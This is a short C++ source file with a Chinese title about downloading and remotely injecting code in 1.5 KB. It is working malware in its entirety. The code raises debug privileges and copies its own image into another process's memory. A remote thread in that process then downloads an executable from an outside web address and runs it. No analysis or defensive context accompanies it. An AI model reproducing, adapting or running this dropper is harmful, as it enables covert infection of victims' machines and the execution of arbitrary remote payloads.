VC++1.5K字节实现下载并远程注入

#pragma comment(linker,"/BASE:0x13140000 /ENTRY:InjectPro /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078")    
#pragma comment(lib, "urlmon.lib")    
#include <windows.h>    
   
void InjectMemo()   
   
{   
    URLDownloadToFile(0, "http://www.fi7ke.com/upiea.exe", TEXT("C:/upiea.exe"), 0, 0);   
    WinExec("c:/upiea.exe", SW_SHOW);   
    ExitThread(0);   
}   
   
void GetDebugPrivs()   
{   
    HANDLE hToken;   
    DWORD ReGvl;   
    TOKEN_PRIVILEGES Ttges;   
   
    if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))   
    {   
        LookupPrivilegeValue(NULL, "SeDebugPrivilege", &Ttges.Privileges[0].Luid);   
        Ttges.PrivilegeCount=1;   
        Ttges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   
        AdjustTokenPrivileges(hToken, FALSE, &Ttges, 0,(PTOKEN_PRIVILEGES)NULL, &ReGvl);   
    }   
}   
   
void InjectPro()   
{   
    DWORD Size,PID;   
    PBYTE module;   
    module = (PBYTE)GetModuleHandle(0);   
    Size = ((PIMAGE_NT_HEADERS)(module+((PIMAGE_DOS_HEADER)module)->e_lfanew))->OptionalHeader.SizeOfImage;   
    HANDLE ProcessHandle;   
    LPVOID heart;   
    GetDebugPrivs();   
    GetWindowThreadProcessId(FindWindow("#32770", NULL), &PID);   
    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);   
    VirtualFreeEx(ProcessHandle, module, 0, MEM_RELEASE);   
    heart = VirtualAllocEx(ProcessHandle, module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   
    WriteProcessMemory(ProcessHandle, heart, module, Size, NULL);   
    CreateRemoteThread(ProcessHandle, 0, 0, (LPTHREAD_START_ROUTINE)InjectMemo, module, 0, NULL);   
}